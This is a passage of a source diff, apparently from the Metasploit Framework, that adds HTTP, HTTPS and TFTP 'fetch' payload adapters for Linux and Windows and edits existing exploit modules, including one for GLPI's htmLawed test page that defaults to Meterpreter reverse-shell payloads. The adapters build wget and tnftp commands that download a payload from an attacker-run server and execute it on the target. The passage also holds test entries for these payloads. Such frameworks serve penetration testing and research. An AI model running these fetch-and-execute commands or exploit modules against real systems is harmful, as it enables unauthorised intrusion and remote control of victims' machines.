cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
|
||||
when 'HTTPS'
|
||||
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
end
|
||||
|
||||
def _generate_wget_command
|
||||
case fetch_protocol
|
||||
when 'HTTPS'
|
||||
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
|
||||
when 'HTTP'
|
||||
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
cmd + _execute_add
|
||||
end
|
||||
|
||||
def _remote_destination
|
||||
return _remote_destination_win if windows?
|
||||
return _remote_destination_nix
|
||||
end
|
||||
|
||||
def _remote_destination_nix
|
||||
return @remote_destination_nix unless @remote_destination_nix.nil?
|
||||
writable_dir = datastore['FETCH_WRITABLE_DIR']
|
||||
writable_dir = '.' if writable_dir.blank?
|
||||
writable_dir += '/' unless writable_dir[-1] == '/'
|
||||
payload_filename = datastore['FETCH_FILENAME']
|
||||
payload_filename = srvuri if payload_filename.blank?
|
||||
payload_path = writable_dir + payload_filename
|
||||
@remote_destination_nix = payload_path
|
||||
@remote_destination_nix
|
||||
end
|
||||
|
||||
def _remote_destination_win
|
||||
return @remote_destination_win unless @remote_destination_win.nil?
|
||||
writable_dir = datastore['FETCH_WRITABLE_DIR']
|
||||
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
|
||||
payload_filename = datastore['FETCH_FILENAME']
|
||||
payload_filename = srvuri if payload_filename.blank?
|
||||
payload_path = writable_dir + payload_filename
|
||||
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
|
||||
@remote_destination_win = payload_path
|
||||
@remote_destination_win
|
||||
end
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
module Msf::Payload::Adapter::Fetch::HTTP
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Payload::Adapter
|
||||
include Msf::Payload::Adapter::Fetch
|
||||
include Msf::Payload::Adapter::Fetch::Server::HTTP
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
def cleanup_handler
|
||||
cleanup_http_fetch_service(@fetch_service, @delete_resource)
|
||||
super
|
||||
end
|
||||
|
||||
def setup_handler
|
||||
@fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
module Msf::Payload::Adapter::Fetch::Https
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Payload::Adapter
|
||||
include Msf::Payload::Adapter::Fetch
|
||||
include Msf::Payload::Adapter::Fetch::Server::Https
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
def cleanup_handler
|
||||
cleanup_http_fetch_service(@fetch_service, @delete_resource)
|
||||
super
|
||||
end
|
||||
|
||||
def setup_handler
|
||||
@fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
module Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
module Msf::Payload::Adapter::Fetch::Server::HTTP
|
||||
include Msf::Payload::Adapter::Fetch::Server::Https
|
||||
|
||||
# This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin.
|
||||
# We just remove the HTTPS Options so the user does not see them.
|
||||
#
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
deregister_options('FETCH_SSL',
|
||||
'FETCH_CHECK_CERT',
|
||||
'FetchSSLCert',
|
||||
'FetchSSLCompression',
|
||||
'FetchSSLCipher',
|
||||
'FetchSSLCipher',
|
||||
'FetchSSLVersion'
|
||||
)
|
||||
end
|
||||
|
||||
def fetch_protocol
|
||||
'HTTP'
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,153 @@
|
|||
module Msf::Payload::Adapter::Fetch::Server::Https
|
||||
|
||||
# This mixin supports both HTTP and HTTPS fetch handlers. If you only want
|
||||
# HTTP, use the HTTP mixin that imports this, but removes the HTTPS options
|
||||
def initialize(*args)
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false])
|
||||
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']),
|
||||
Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']),
|
||||
Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]),
|
||||
Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']),
|
||||
Msf::OptEnum.new('FetchSSLVersion',
|
||||
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
|
||||
enums: Rex::Socket::SslTcp.supported_ssl_methods)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def add_resource(fetch_service, uri, srvexe)
|
||||
vprint_status("Adding resource #{uri}")
|
||||
if fetch_service.resources.include?(uri)
|
||||
# When we clean up, we need to leave resources alone, because we never added one.
|
||||
@delete_resource = false
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.")
|
||||
end
|
||||
fetch_service.add_resource(uri,
|
||||
'Proc' => proc do |cli, req|
|
||||
on_request_uri(cli, req, srvexe)
|
||||
end,
|
||||
'VirtualDirectory' => true)
|
||||
rescue ::Exception => e
|
||||
# When we clean up, we need to leave resources alone, because we never added one.
|
||||
@delete_resource = false
|
||||
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}")
|
||||
end
|
||||
|
||||
def cleanup_http_fetch_service(fetch_service, delete_resource)
|
||||
unless fetch_service.nil?
|
||||
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
|
||||
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
|
||||
fetch_service.remove_resource(escaped_srvuri)
|
||||
end
|
||||
fetch_service.deref
|
||||
if fetch_service.resources.empty?
|
||||
# if we don't call deref, we cannot start another httpserver
|
||||
# this is a reimplementation of the cleanup_service method
|
||||
# in Exploit::Remote::SocketServer
|
||||
temp_service = fetch_service
|
||||
fetch_service = nil
|
||||
temp_service.cleanup
|
||||
temp_service.deref
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def fetch_protocol
|
||||
'HTTPS'
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request, srvexe)
|
||||
client = cli.peerhost
|
||||
vprint_status("Client #{client} requested #{request.uri}")
|
||||
if (user_agent = request.headers['User-Agent'])
|
||||
client += " (#{user_agent})"
|
||||
end
|
||||
vprint_status("Sending payload to #{client}")
|
||||
cli.send_response(payload_response(srvexe))
|
||||
end
|
||||
|
||||
def payload_response(srvexe)
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol)
|
||||
res['Content-Type'] = 'text/html'
|
||||
res.body = srvexe.to_s.unpack('C*').pack('C*')
|
||||
res
|
||||
end
|
||||
|
||||
def ssl_cert
|
||||
datastore['FetchSSLCert']
|
||||
end
|
||||
|
||||
def ssl_compression
|
||||
datastore['FetchSSLCompression']
|
||||
end
|
||||
|
||||
def ssl_cipher
|
||||
datastore['FetchSSLCipher']
|
||||
end
|
||||
|
||||
def ssl_version
|
||||
datastore['FetchSSLVersion']
|
||||
end
|
||||
|
||||
def start_http_fetch_handler(srvname, srvexe)
|
||||
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
|
||||
# middle and don't return a value, we still have the right fetch_service to clean up.
|
||||
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
|
||||
@fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil?
|
||||
if @fetch_service.nil?
|
||||
cleanup_handler
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}")
|
||||
end
|
||||
vprint_status('HTTP server started')
|
||||
@fetch_service.server_name = srvname
|
||||
add_resource(@fetch_service, escaped_srvuri, srvexe)
|
||||
@fetch_service
|
||||
end
|
||||
|
||||
def start_https_fetch_handler(srvname, srvexe)
|
||||
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
|
||||
# middle and don't return a value, we still have the right fetch_service to clean up.
|
||||
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
|
||||
@fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil?
|
||||
if @fetch_service.nil?
|
||||
cleanup_handler
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}")
|
||||
end
|
||||
vprint_status('HTTPS server started')
|
||||
@fetch_service.server_name = srvname
|
||||
add_resource(@fetch_service, escaped_srvuri, srvexe)
|
||||
@fetch_service
|
||||
end
|
||||
|
||||
def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
|
||||
begin
|
||||
fetch_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
fetch_bindport, fetch_bindhost, ssl,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
},
|
||||
_determine_server_comm(fetch_bindhost),
|
||||
ssl_cert,
|
||||
ssl_compression,
|
||||
ssl_cipher,
|
||||
ssl_version
|
||||
)
|
||||
rescue Exception => e
|
||||
cleanup_handler
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}")
|
||||
end
|
||||
vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}")
|
||||
fetch_service
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,36 @@
|
|||
module Msf::Payload::Adapter::Fetch::Server::TFTP
|
||||
|
||||
def start_tftp_server(srvport, srvhost)
|
||||
vprint_status("Starting TFTP server on #{srvhost}:#{srvport}")
|
||||
Rex::Proto::TFTP::Server.new(srvport, srvhost, {})
|
||||
end
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptBool.new('FETCH_SRVONCE', [ true, 'Stop serving the payload after it is retrieved', true ])
|
||||
]
|
||||
)
|
||||
end
|
||||
def cleanup_tftp_fetch_service(fetch_service)
|
||||
fetch_service.stop unless fetch_service.nil?
|
||||
end
|
||||
|
||||
def fetch_protocol
|
||||
'TFTP'
|
||||
end
|
||||
|
||||
def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe)
|
||||
fetch_service = start_tftp_server(srvport, srvhost)
|
||||
if fetch_service.nil?
|
||||
cleanup_handler
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}")
|
||||
end
|
||||
fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE'])
|
||||
fetch_service.start
|
||||
fetch_service
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
module Msf::Payload::Adapter::Fetch::TFTP
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Payload::Adapter
|
||||
include Msf::Payload::Adapter::Fetch
|
||||
include Msf::Payload::Adapter::Fetch::Server::TFTP
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
def cleanup_handler
|
||||
cleanup_tftp_fetch_service(@fetch_service)
|
||||
super
|
||||
end
|
||||
|
||||
def setup_handler
|
||||
@fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable']
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
module Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '%TEMP%' }
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
|
@ -122,7 +122,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
generate_uri_uuid_mode(:init_native, 5)
|
||||
generate_uri_uuid_mode(:init_native, 30)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -30,18 +30,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64, ARCH_CMD],
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'CmdStagerFlavor' => [ 'printf', 'wget' ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
'Nix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
|
||||
'RPORT' => 80,
|
||||
'URIPATH' => '/glpi/'
|
||||
'RPORT' => 80
|
||||
}
|
||||
}
|
||||
],
|
||||
|
@ -52,12 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Arch' => [ARCH_X64],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'RPORT' => 80,
|
||||
'URIPATH' => '/glpi/'
|
||||
'RPORT' => 80
|
||||
},
|
||||
'Type' => :linux_dropper
|
||||
}
|
||||
],
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2022-01-26',
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -68,10 +66,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def populate_values
|
||||
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
|
||||
uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
@ -93,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
|
|
@ -41,6 +41,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'CmdStagerFlavor' => %w[bourne echo printf wget],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Linux Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux x86',
|
||||
{
|
||||
|
@ -236,9 +243,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
execute_python
|
||||
when 'unix'
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
if target['Arch'] == ARCH_CMD
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager(linemax: 500)
|
||||
end
|
||||
end
|
||||
|
||||
@timeout ? ssh_socket.shutdown! : ssh_socket.close
|
||||
end
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::HTTP
|
||||
include Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTP Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from an http server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'linux'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::Https
|
||||
include Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTPS Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from an https server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'linux'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::TFTP
|
||||
include Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'TFTP Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from a TFTP server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'linux'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::HTTP
|
||||
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTP Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from an http server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::Https
|
||||
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTPS Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from an https server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::TFTP
|
||||
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'TFTP Fetch',
|
||||
'Description' => 'Fetch and Execute an x64 payload from a tftp server',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X64,
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -508,6 +508,30 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'bsdi/x86/shell_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'cmd/linux/http/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/linux/http/x64'
|
||||
],
|
||||
reference_name: 'cmd/linux/http/x64'
|
||||
end
|
||||
|
||||
context 'cmd/linux/https/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/linux/https/x64'
|
||||
],
|
||||
reference_name: 'cmd/linux/https/x64'
|
||||
end
|
||||
|
||||
context 'cmd/linux/tftp/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/linux/tftp/x64'
|
||||
],
|
||||
reference_name: 'cmd/linux/tftp/x64'
|
||||
end
|
||||
|
||||
context 'cmd/mainframe/generic_jcl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -1116,6 +1140,22 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'cmd/windows/generic'
|
||||
end
|
||||
|
||||
context 'cmd/windows/http/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x64'
|
||||
],
|
||||
reference_name: 'cmd/windows/http/x64'
|
||||
end
|
||||
|
||||
context 'cmd/windows/https/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x64'
|
||||
],
|
||||
reference_name: 'cmd/windows/https/x64'
|
||||
end
|
||||
|
||||
context 'cmd/windows/powershell' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
|
@ -1212,6 +1252,14 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'cmd/windows/jjs_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'cmd/windows/tftp/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/tftp/x64'
|
||||
],
|
||||
reference_name: 'cmd/windows/tftp/x64'
|
||||
end
|
||||
|
||||
context 'firefox/exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue